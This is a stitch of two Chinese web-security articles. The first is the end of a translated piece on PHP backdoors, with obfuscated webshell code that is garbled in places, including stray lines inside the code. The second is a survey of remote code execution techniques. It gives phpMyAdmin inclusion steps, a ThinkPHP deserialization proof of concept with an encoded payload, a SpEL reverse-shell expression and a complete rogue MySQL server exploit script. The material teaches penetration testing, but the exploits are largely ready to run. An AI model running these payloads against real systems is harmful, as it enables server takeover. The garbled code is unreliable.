4.[SYSTEM](http://php.net/manual/en/function.system.php "SYSTEM")
**变量:**
$ _POST [‘shellrox’] = Command that will execute
**CODE:**
( error_reporting (0)). ($ _ = [("\ x73 \ x79").
("\ x74 \ x65 \ x6d"), "\ x73 \ x68 \ x65 \ x6c", "\ x6c \ x72 \ x6f \ x78"
($ _ [0] ($ _ POST [$ _ [1]. $ _ [2]]));
执行：
curl -d “shellrox=id;uname -a” -X POST ‘http://localhost/shell.php'
## 示例10
函数:
1.[NON ALPHA NUMERIC](http://www.thespanner.co.uk/2012/08/21/php-nonalpha-tutorial/ "NON ALPHA NUMERIC")
2.[VARIABLE FUNCTIONS](http://php.net/manual/en/functions.variable-functions.php "VARIABLE FUNCTIONS")
3.[SYSTEM](http://php.net/manual/en/function.system.php "SYSTEM")
**CODE:**
$ _ = ""; # we need a blank string to start
Eur-lex.europa.eu eur-lex.europa.eu # access part of the string to convert to an array
$ _ = $ _. ""; # convert the array into a string of "Array"
Eur-lex.europa.eu eur-lex.europa.eu # access the 0 index of the string "Array" which is "A"
# INCREASING VALUES TO FIND THE LETTERS
# IF YOU WANT TO MOUNT THE STRING SYSTEM
($ _ ++); #THE
($ _ ++); #B
($ _ ++); #W
($ _ ++); #D
# FIRST LETTER FOUND IS PLAYED IN A SECONDARY ARRAY
($ ___ [] = $ _ ++);
($ _ ++); #F
($ _ ++); #G
($ _ ++); #H
($ _ ++); #I
($ _ ++); #J
($ _ ++); #K
($ _ ++); #L
# FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY
($ ___ [] = $ _ ++); # M
($ _ ++); #N
($ _ ++); #O
($ _ ++); #P
($ _ ++); #Q
($ _ ++); #R
# FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY
($ ___ [] = $ _ ++);
# FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY
($ ___ [] = $ _ ++); # T
($ _ ++); #U
($ _ ++); #V
($ _ ++); #W
($ _ ++); #X
# FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY
($ ___ [] = $ _ ++);
(Z)
# ARRAY DEBUG:
/ * Array
(
[0] => E
[1] => M
[2] => S
[3] => T
[4] => Y
)
* /
# MOUNT STRING WITH ARRAY FIELDS $ ___
$ ___ [2]. $ ___ [4]. $ ___ [2]. $ ___ [3]. ___ [0]. ___ [1];
# USING ANONYMOUS FUNCTION TECHNIQUE FOR IMPLEMENTATION
$ _____ ('id; uname -a');
## 极简版本(MINIMALIST VERSION:)
($ _ = $ _ [+] "). ($ _ ++). ($ _ = $ _.
($ _ ++). ($ _ ++). ($ _ ++) ($ _ ++).
($ _ ++). ($ _ ++). ($ _ ++). ($ _ ++).
($ _ ++). ($ _ ++). ($ _ ++). ($ _ ++).
($ _ ++). ($ _ ++). ($ _ ++).
($ ___ [] = $ _ ++). ($ _ ++)
(_____ = $ ___ [2]. $ ___ [4]. ___ [2]. ___ [3]. ___ [0]. ___ [1])
($ _____ ('id; uname -a'));
Execution: curl -v 'http://localhost/shell.php'
**注意：还有成千上万的技巧，接下来我会一一撰写文章与大家分享。**
# 参考
<http://php.net/manual/en/language.operators.execution.php#language.operators.execution>
<http://php.net/manual/en/functions.variable-functions.php>
<http://php.net/manual/en/function.exec.php>
<http://php.net/manual/en/function.shell-exec.php>
<http://php.net/manual/en/function.system.php>
<http://php.net/manual/en/function.passthru.php>
<http://php.net/manual/en/function.get-defined-vars.php>
<http://php.net/manual/en/function.extract.php>
<http://php.net/manual/en/function.create-function.php>
<http://php.net/manual/en/function.extract.php>
<http://php.net/manual/en/reserved.variables.server.php>
<https://thehackerblog.com/a-look-into-creating-a-truley-invisible-php-shell>
<https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html>
翻译来源：https://medium.com/@th3law/hold-the-shit-php-backdoor-for-fun-196c202c8cbf | 社区文章 |
**作者：ZAC安全
原文链接：<https://mp.weixin.qq.com/s/gtArMfC2Xq9IEpwvu8Sszg>**
## **00 前言与基础概念**
RCE全称 remote command/code execute
远程代码执行和远程命令执行，那么RCE的作用呢？就相当于我可以在你的电脑中执行任意命令，那么就可以进而使用MSF/CS上线你的主机，就可以完全控制你的电脑了，所以做渗透中，个人认为危害最大的就是RCE，你SQL注入，我有RCE直接连接数据库，你有未授权/信息泄露，我直接查看这些信息，你有XSS，我直接改源码，你有弱口令，我直接扒下来电脑里存储的密码，大多数漏洞能做到的，RCE都可以轻而易举的做到，所以我在做挖洞或代审的时候也更会偏向RCE的挖掘，而我在网上发现RCE的利用方式有很多，并且像是XSS到RCE，XXE到RCE这种小众的利用手段有很多人都不知道，于是就有了此文，也算是自己的一个简单笔记总结文章吧，这篇文章写的我个人认为很全面了几乎涵盖大部分的RCE利用手段了，肯定还有很小众的RCE我没发现，不过全面的坏处就是不够深，都是比较浅的东西，想深入的还是多搜点其他大佬的文章吧
基础的shell符号概念
cmd1 | cmd2 只执行cmd2
cmd1 || cmd2 只有当cmd1执行失败后，cmd2才被执行
cmd1 & cmd2 先执行cmd1，不管是否成功，都会执行cmd2
cmd1 && cmd2 先执行cmd1，cmd1执行成功后才执行cmd2，否则不执行cmd2
Linux还支持分号（;），cmd1;cmd2按顺序依次执行，先执行cmd1再执行cmd2
php中也可以用反引号 echo `whoami`;
## **01 exec无过滤拼接RCE**
首先是黑盒，平常我们看到了敏感的参数，比如ping啊，traceroute等测试连通性的，百分之80都基本都有命令拼接（但不一定有RCE），我们以某网关当例子
看到了ping和traceroute，输入127.0.0.1和1
然后抓包，第一个包，记住这个sessionid，要在第二个包的post中添加过去
第二个包，我们发现参数过滤了
没有关系，用traceroute试试
可以看到，拼接数据包的时候并没有过滤，这样我们就拿下rce了
那要是有源代码的话我们该如何审计呢，这里以某管理平台做例子，call_function参数直接post进来，然后switch判断是ping还是tracert，两边都一样，cmd直接拼接了post的参数，然后exec直接输出
那么直接构造参数就可以造成rce
我们除了exec，还可以全局搜索system，shell_exec等命令函数，原理一样不在赘述，以下为某防火墙的小通杀
## **02 任意文件写入**
当然，这些只是单纯的执行命令，在php中还有file_put_contents这种可以写入的函数，例子如下，这是之前bc站的源码，应该是一个小后门,google88990接受传参，然后file_put_contents直接拼接进去，写入文件
直接构造payload
xxx/xxx/xxx/xx/xxx/GoogleChartMapMarker.php?google88990=phpinfo();
就可以直接getshell了
## **03 文件上传**
大家用的最最常见的rce方法应该就是文件上传了，这里拿我之前写过的一篇作为案例
这里下载源代码 RiteCMS - download
访问 admin.php ， 然后输入默认账密 admin admin ， 再次访问admin.php进入后台
File Manager
Upload file
选择文件
OK-Upload file
Admin.php 中，进入到 filemanage.inc.php 文件
进入之后看到fileupload函数，这里new一个类，把对象赋值到upload， 然后全局搜索
这里赋值了upload 和uploaddir 参数
继续往下走
在 73 行 有 move_uploaded_file 函 数 进 行 上 传 ， 前 面 的
this->uploadDir.directory.’/’
然后回到刚刚的filemanager.inc.php 文件
看到base_path，我们再去全局搜索一下
在settings.php 文件中可以到，返回了绝对路径的上一级目录然后跟踪 directory
参数
这里的目录是不固定的，如果判断为true，则是/files，如果为 false， 则 是 /media
然后继续往下走
如果为false进入else语句，调用savefile函数
这里的filename和file_name是一样的
该函数直接用 copy 函数将临时文件复制到后面的文件中，成功拿下rce
这是copy 函数中的参数来源
## **04 任意登录后台+后台RCE**
当然，有的时候可能会进行鉴权，比如只有在后台的时候才可以使用xx 方法，xx 功能，那么我们要配合信息泄露或者未授权进行组合combo，如下
我们可以看到，在shell_exec前会判断是否登录了
那么我们只要有方法不需要实际的账号密码可以进入后台，那么就是个前台rce，如下，只需要密码为 hassmedia 就可以成功的进入后台
## **05 SQL语句执行+写入权限+绝对路径**
还有一种常见的拿shell手段是利用sql语句，如下
某次渗透过程中扫描到了一个3.txt文件
可以看到有了绝对路径，那么我们现在就是需要找到sql注入点或者能执行sql的方法，访问phpmyadmin的时候直接进去了
权限有了，执行点有了，绝对路径也有了，接下来就是常规的写shell
原理就不赘述了，把两个重要语句贴下面了
当然，如果是sqlserver可以直接用xp_cmdshell
## **06 XSS+electron**
Sql到rce都有了，那么为何不试试xss到rce呢？先安装好node.js和electron
使用npm下载的话会比较慢，这里可以用另一种方法
npm install -g cnpm --registry=https://registry.npm.taobao.org
cnpm install electron -g
成功安装，然后开始搭建环境
三个文件搭建好，然后npm run start就可以了
那么如何利用这个去rce呢，简单的一句话，在index.js中如下
const exec = require('child_process').exec
exec('calc.exe',(err, stdout, stderr) => console.log(stdout))
下图可以看到成功弹出计算器，造成rce，那么我们在能xss的情况下，控制前端代码，并且是electron框架的时候，即可造成rce
大家所熟知的xss到rce应该就是某剑了，不过因为已经有很多大哥都写过文章了，这里就不在赘述了，感兴趣的可以去查一查，除了某剑还有某by也曾爆出过rce
https://evoa.me/archives/3/#%E8%9A%81%E5%89%91%E5%AE%A2%E6%88%B7%E7%AB%AFRCE%E7%9A%84%E6%8C%96%E6%8E%98%E8%BF%87%E7%A8%8B%E5%8F%8AElectron%E5%AE%89%E5%85%A8
如果使用shell.openExternal那段，命令里面只能使用file打开，或者打开网站，可利用性太小
打开个计算器还是没啥问题的
顺便说一下，网上很多都是用child_process，然后export
function，但是我实测后发现并不能复现不了，各位师傅可以去看看，最简化版应该就是以下这两行了
const exec = require('child_process').exec
exec('calc.exe')
## **07 XXE+php协议**
除了xss还有一种就是xxe到rce，这里为了方便就不在本地搭环境了，随便网上找了个靶场去打，可以看到数据是由xml进行传输的，那么我们只要注入恶意payload即可造成xxe攻击
但这种情况下，只能造成任意文件读取，xxe跟xss一样，都需要特定的环境才可以造成rce，比如说配合php的协议，expect等
那么我们的语句就可以变成
<!ENTITY xxe SYSTEM "expect://id" >]>
也就造成了rce（懒得配环境了，感兴趣的可自行测试）
## **08 SSRF+远程文件下载**
还有一种rce的方式，是利用ssrf配合远程文件下载造成的rce，如下，搭建好网站
分析代码，我们可以看到函数downloadImage中，有个readfile，此处无过滤，这里就是一个简单的ssrf，但是在769行还有一个imageStream
我们跟进来发现其中有个file_put_contents，可以直接造成远程文件下载后写入
有了逻辑我们就可以简单的构造数据包如下：
成功写入
## **09 文件包含**
（组合拳0day分析与phpmyadmin分析）
我们再换一种思路，尝试利用文件包含组合拳getshell，以下用某设备的0day做示例
全局搜索include，发现一处可控的文件包含，这是直接post进来的
然后再次全局搜索file_put_contents，看看哪里可以写入，在set_authAction中找到了如下利用点，userName可控，fileCntent可控，filename直接拼接userName
那么AUTH_DIR和DS呢？这两个参数在最开始的时候已经定义了，DS为分隔符，然后AUTH_DIR拼接
但文件包含仅限于/tmp/app_auth/cfile/，我们需要找到一个能创建目录的利用点，全局搜索mkdir，发现dir可控，shell直接创建了，那么整个漏洞逻辑就出来了
先逐级创建目录
Post创建目录 store=/tmp/app_auth&isdisk=1
Post创建目录 store=/tmp/app_auth/cfile&isdisk=1
post写入文件数据 serName=../../tmp/app_auth/cfile/sb&auth=<?php phpinfo(); ?>
Post数据包含 cf=sb.txt
成功getshell
以上是文件包含+txt文件任意写入+目录创建的组合拳
还有一个是最近爆出来的0day，phpmyadmin文件包含后台RCE，不过现在应该打了补丁，但是分析文章还没出来，算是1day吧
复现步骤
1.
CREATE DATABASE test; CREATE TABLE test.bar ( baz VARCHAR(100) PRIMARY KEY ); INSERT INTO test.bar SELECT '<?php phpinfo(); ?>';
2.然后点test库，再执行sql
CREATE TABLE pma__userconfig ( id int(11) NOT NULL, id2 int(11) NOT NULL, config_data text NOT NULL, timevalue date NOT NULL, username char(50) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=latin1;
3.
INSERT INTO pma__userconfig (id, id2, config_data, timevalue, username) VALUES (1, 2,'{\"DefaultTabDatabase\":\"..\/..\/Extensions\/tmp\/tmp\/sess_inhi60cjt8rojfmjl71jjo6npl\",\"lang\":\"zh_CN\",\"Console\/Mode\":\"collapse\"}','2022-05-07', 'root');
删除cookie
访问主页登录进去
登录进来之后访问两次
http://localhost/phpmyadmin4.8.5/index.php?db=test
成功RCE
下面就是代审环节：
入口点
index.php中用了Config文件
Config.php文件中使用了require 包含了common.inc.php文件
在lib/common.inc.php中我们可以看到又包含了另一个目录的common.inc.php
跟进去我们可以看到453行代码
这里有一个loadUserPreferences函数，是用来加载用户数据库里面的内容，全局搜索找到该函数位置
第972行使用了load函数
跟进来
前面的入口流程就这么多，接下来就是核心分析，打上断点动态debug调试
我们可以看到第一行有getRelationsParam，f7跟进去，我们可以看到该函数是读取sessions的一些数据，如下
然后return回来
然后跟下来是backquote函数，f7进去
进行拼接test和pma__userconfig
然后就往下走到88-92进行拼接sql语句
然后就是93行的fetchSingleRow函数，继续跟进来
这里的config_data获取到了路径
return回来
然后会对config_data表进行json_decode处理
这里会进入一个readConfig函数
然后跳过一些意义不大的函数
到这里会给prefs一个赋值
然后就是给config_data赋值
路径就传过来了
953行会global一个cfg，并传过来config_data
这里就是我们的漏洞点了，如下
我们跟进Util中的getScriptNameForOption函数，如下
Location是database不是server，于是跳过该条件判断，并且注意此时带过来的target是我们的sessions路径
此时可以看到switch中没有能跟路径匹配的
于是原路返回我们的target
进行包含
成功RCE
## **10 反序列化RCE**
接着我们来分析难度较高的反序列化+RCE，因为目前反序列化的文章并不是很多，所以这里先说一下基础概念
先来看一下这段代码，基本的注释我已经在上面写好了，大家过一下就行，现在说一下几个点
1.输出的变量zactest为什么变成了zaczactest？
这是因为定义$zactest的时候用的是private方法，我们看下面这段话
private是私有权限，他只能用在zac类中，但是在序列化后呢，为了表明这个是我独有的，他就必须要在定义的变量之前加上自己的类名
2.zaczactest明明是10个字符，为什么显示12个？
这是因为私有化属性序列化的格式是%00类名%00属性名，类名就是zac，属性名就是zactest，在这当中分别插入两个%00，所以就多出了两个字符，但为啥没显示出来呢？这是因为%00是空白符
3.为什么zac变量前要加上一个*，并且字符数是6
这个同理2，因为是protected方法赋值的$zac，所以它也有相应的格式，protected格式为%00
_%00属性名，这也是为什么zac变量前面要加上一个_ ，并且字符数是6的原因了
4.那除了这两个方法，public有什么特性呢？
前面俩兄弟都有相应的序列化格式，但是public没有，该是多少就是多少，他的特性就是public是公有化的，所以public赋值的变量可以在任何地方被访问
然后就是实例复现，安装thinkphp5.1.37，然后将framework改名为thinkphp放到,tp5.1.37的目录里
https://github.com/top-think/framework/releases/tag/v5.1.37
https://github.com/top-think/think/releases/tag/v5.1.37
因为我对反序列化也不是特别熟悉，所以以下基本完全参照该文章
https://www.cnblogs.com/xueweihan/p/11931096.html
不过稍微修改了一些，比如过程中的一些方法，还有最后的动态审计部分，并且这篇文章中的poc我也是没复现成功，最后找到其他大佬发出来的poc复现成功的（如侵权私聊我）
全局搜索_destruct
可以看到desturct有一个removeFiles，跟进
我们可以看到其中有一个file_exists，那么当filename是一个对象的时候，就会调用toString
全局搜索toString
发现toString里面只有个toJson，继续跟进
发现有个toArray，跟进去
往下翻，看到这几行代码，$this->append的键名是key，name可控
那么188行的realtion呢？跟进getRelation试试
我们可以看到在toArray函数中的第201行，判断!relation，那么想进来这个if里，就要让this->relation
跟下去getAttr
跟进getData
我们只需要让key 这个键，然后让getAttr() 函数486行下面的if 判断都没有，就可以直接使 this->data[$key] ;
那么key 也是可控的(relation 也是可控的
我们接着全局搜索__call
看到了call_user_func_array，发现我们可以完全控制住第一个参数
那么我们现在就需要找到这类函数，比如input
但这里我们只能去找间接调用input的方法，全局搜索$this->input，找到param函数
我们在当前目录搜索哪里调用了param这个函数，看到了isAjax
然后开始进行漏洞复现，首先在
\application\index\controller\Index.php
文件添加一个反序列化入口
然后我们构建一个payload
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根，如thinkphp.cn
'url_domain_root'=> '',
// HTTPS代理标识
'https_agent_name'=> '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix'=> 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
/*input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami*/
?>
然后php 2.php 生成payload，在id里加个whoami
成功拿下rce
因为这个反序列化网上教程都是静态硬审的，所以非常不好理解，为了便于理解，我们可以使用xdebug配合phpstorm进行动态调试，更好地理解参数传递的过程
Php.ini文件：
然后开启监听，burp打上payload开始跟
入口进来
然后param函数，获取到了一些方法之类的参数
跟到input
getFilter
反序列化入口点
调用__destruct
removeFiles
调用了toString
然后跟进tojson
继续跟进toArray
然后就是getAttr
getData
getRelation
然后跳过几个无用步骤，进到了call
isAjax
然后再跳到param
然后再跳几下，就到了appShutdown结束
这就是一个大致的流程，理论还是按照静态审的来，也可以动态自己跟着走一遍可以理解（这里用的都是f8，如果要跟的更加深入一点可以f7进入每个方法的模块一点点看，我这里跳步比较多，所以还是推荐自己去跟一下深入理解）
Php说了这么多，那么再来稍微说下java，因为我java学的并不是很多，所以这里只是简单写几个案例，先来说一下java和php不同的地方，php中的exec，就相当于正常的cmd了，但是在java中却不一样，如下，单纯一个whoami可以正常执行
但是当我们用管道符拼接的时候发现，报错了，这是因为Runtime.getRuntime().exec将里面的参数当成一个完整的字符串了，而不是管道符分割的两个命令，那么也就不能像php一样进行拼接rce了，这也是体现java安全性高的一点（当然如果开发直接把参数代入了也是可以的，但是我没找到这样的java案例，这里有个坑点，记得加exec.waitFor，不然执行不成功的，也可能单纯是我环境的问题）
但是用cmd /c是可以的，不过如果开发写的是ping 加参数依旧是不能直接拼接的，必须command全部参数都可控才行
## **11 表达式注入**
然后就是java的表达式注入，这里用最近的Spring Cloud
Function的spel表达式注入做测试（因为好找靶场，本地环境一直搭不起来）（除了spel还有OGNL,MVEL,EL等，这里只用spel举例做测试）
先看一个简单的demo，这里我们发现12行的expression代入到了13行的parseExpression中，可以解析java.lang.Runtime类，那么我们就可以直接执行命令
后面就是反弹shell了，网上文章较多，大家自行测试
T(java.lang.Runtime).getRuntime().exec("bash -c
{echo,base64加密的shell}|{base64,-d}|{bash,-i}")
原理分析，参考（https://www.t00ls.cc/thread-65356-1-1.html）
这里获取post，然后将参数转到processRequest
往下跟进processRequest
注意这里是header，这也是为啥payload在header中传输
然后跟进apply进去
传进来的数据跟进doApply，在进去doApply方法看
跟进apply
发现参数到了route,在跟进route
判断请求头有没有spring那段，如果有的话就进入到functionFromExpression里代入，那我们进去这个函数看一下
跟开头一样，这里的parseExpression直接带入进来解析，所以也就成功的rce了
## **12 JNDI注入**
这里的jndiName可控，我们就可以直接造成Rce
“RMI（Remote Method Invocation），是一种跨JVM实现方法调用的技术。
在RMI的通信方式中，由以下三个大部分组成：
Client
Registry
Server
其中Client是客户端，Server是服务端，而Registry是注册中心。
客户端会Registry取得服务端注册的服务，从而调用服务端的远程方法。
注册中心在RMI通信中起到了一个什么样的作用？我们可以把他理解成一个字典，一个负责网络传输的模块。
服务端在注册中心注册服务时，需要提供一个key以及一个value，这个value是一个远程对象，Registry会对这个远程对象进行封装，使其转为一个远程代理对象。当客户端想要调用远程对象的方法时，则需要先通过Registry获取到这个远程代理对象，使用远程代理对象与服务端开放的端口进行通信，从而取得调用方法的结果。”
Jndi注入最知名的案例应该就是log4j了
原理分析
解开jar包
入口
主要是127-132这段
127逻辑进去后，129行判断字符串中是否包含 ${ 如果包含，就将从这个字符开始一直到字符串结束替换为下面的值，然后就是132替换值的地方
跟进getStrSubstitutor()
## **13 JDBC反序列化**
Java还有一种独有的RCE方法就是JDBC可控配合反序列化的RCE
官网下载8.0.12版本：https://downloads.mysql.com/archives/c-j/
看着两个参数组成的payload
官方介绍
queryInterceptors：一个逗号分割的Class列表（实现了com.mysql.cj.interceptors.QueryInterceptor接口的类），在Query”之间”进行执行来影响结果。（效果上来看是在Query执行前后各插入一次操作）；
autoDeserialize：自动检测与反序列化存在BLOB字段中的对象；
设置为com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor这个类之后，每次执行查询语句，都会调用拦截器的preProcess和postProcess方法
看到
\mysql-connector-java-8.0.12\src\main\user-impl\java\com\mysql\cj\jdbc\interceptors\ServerStatusDiffInterceptor.java
文件中的preProcess里的populateMapWithSessionStatusValues，跟进这个函数
跟进去之后发现先执行了show session status，然后传到resultSeToMap中，跟进这个函数
我们可以看到在resultSeToMap中出现了getObject
这里跟进的是
\mysql-connector-java-8.0.12\src\main\user-impl\java\com\mysql\cj\jdbc\result\ResultSetImpl.java
可以看到try语句中存在readObject
最后贴上 Tri0mphe7师傅的脚本
# -*- coding:utf-8 -*- #@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
//file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a
file= r'a'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn,response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn,response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢？？
//获取payload
payload_content=get_payload_content()
//计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
//计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
